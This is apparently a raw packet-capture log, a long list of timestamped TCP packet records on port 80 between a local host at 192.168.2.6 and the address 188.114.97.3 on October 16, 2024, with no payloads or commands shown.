                                                                                    Oct 16, 2024 10:58:12.060276985 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.060292959 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.060302973 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.060313940 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.060312986 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.060323954 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.060340881 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.060352087 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.060352087 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.060359955 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.060369968 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.060383081 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.060389042 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.060400009 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.060401917 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.060410976 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.060421944 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.060427904 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.060431957 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.060441971 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.060448885 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.060457945 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.060465097 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.060475111 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.060486078 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.060491085 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.060501099 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.060511112 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.060534000 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.060554028 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.060762882 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.060770988 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.060780048 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.060791969 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.060802937 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.060808897 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.060813904 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.060822010 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.060827017 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.060837984 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.060839891 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.060847998 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.060858011 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.060867071 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.060894012 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.061049938 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.061058998 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.061085939 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.061101913 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.061110020 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.061111927 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.061125040 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.061126947 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.061135054 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.061146975 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.061146975 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.061158895 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.061172962 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.061197996 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.061304092 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.061315060 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.061323881 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.061332941 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.061337948 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.061345100 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.061356068 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.061366081 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.061367989 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.061377048 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.061387062 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.061393976 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.061397076 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.061408997 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.061409950 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.061419964 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.061424971 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.061455965 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.063589096 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.064167023 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.065644979 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.065655947 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.065665007 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.065692902 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.065742970 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.065753937 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.065758944 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.065771103 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.065798044 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.065814972 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.065825939 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.065838099 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.065885067 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.065891981 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.065902948 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.065932989 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.065952063 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.065975904 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.065975904 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.065988064 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.066014051 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.066030025 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.066097021 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.066134930 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.066137075 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.066147089 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.066163063 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.066176891 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.066190004 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.066199064 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.066307068 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.066323996 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.066334963 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.066344023 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.066344976 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.066345930 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.066395044 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.066416979 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.066447020 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.066447020 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.066472054 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.066482067 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.066498041 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.066508055 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.066512108 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.066530943 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.066540956 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.066688061 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.066747904 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.066757917 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.066767931 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.066782951 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.066782951 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.066807985 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.066817045 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.066828012 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.066838026 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.066853046 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.066858053 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.066863060 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.066874981 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.066874981 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.066896915 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.066984892 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.066998959 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.067009926 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.067018986 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.067039967 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.067061901 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.067102909 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.067114115 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.067123890 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.067147970 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.067173004 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.067220926 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.067231894 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.067241907 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.067264080 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.067285061 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.067395926 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.067405939 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.067416906 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.067439079 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.067459106 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.067476034 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.067501068 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.067509890 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.067532063 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.067553043 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.067557096 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.067611933 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.067651033 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.067681074 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.067724943 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.067826033 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.067837000 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.067852974 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.067862988 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.067867994 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.067874908 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.067877054 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.067888021 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.067898989 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.067925930 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.067990065 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.068000078 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.068008900 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.068020105 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.068031073 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.068034887 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.068048000 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.068063021 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.068090916 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.068094969 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.068105936 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.068115950 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.068125010 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.068125963 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.068140984 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.068150997 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.068156004 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.068180084 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.068196058 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.068758011 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.068804026 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.068814039 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.068825006 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.068845987 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.068875074 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.068875074 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.068887949 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.068898916 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.068908930 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.068918943 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.068929911 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.068936110 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.068941116 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.068950891 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.068954945 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.068963051 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.068974018 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.068974018 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.069000006 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.069014072 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.069044113 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.069056034 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.069072008 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.069082975 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.069089890 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.069094896 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.069117069 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.069130898 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.069710970 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.069721937 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.069731951 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.069753885 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.069762945 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.069765091 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.069775105 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.069785118 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.069793940 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.069823980 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.069883108 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.069892883 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.069902897 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.069911957 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.069921970 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.069932938 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.069933891 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.069945097 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.069952965 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.069957018 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.069969893 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.069972038 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.069991112 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.070003986 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.070539951 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.070581913 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.070583105 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.070595980 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.070621967 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.070636988 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.070653915 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.070663929 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.070673943 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.070683956 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.070693016 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.070713997 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.070734024 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.070740938 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.070745945 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.070756912 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.070766926 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.070771933 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.070780993 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.070791006 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.070820093 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.070823908 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.070836067 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.070847988 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.070857048 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.070868969 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.070873022 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.070883989 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.070884943 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.070913076 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.070940971 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.071496964 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.071537971 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.071546078 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.071554899 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.071572065 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.071578026 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.071583033 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.071594000 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.071595907 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.071619034 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.071650028 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.071660995 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.071676016 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.071686029 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.071702003 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.071702003 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.071731091 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.071734905 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.071747065 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.071758032 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.071758986 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.071768045 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.071789026 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.071815968 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.071846962 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.071856976 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.071866989 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.071877956 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.071892977 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.071908951 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.072474003 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.072520971 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.072520971 CEST4973580192.168.2.6188.114.97.3
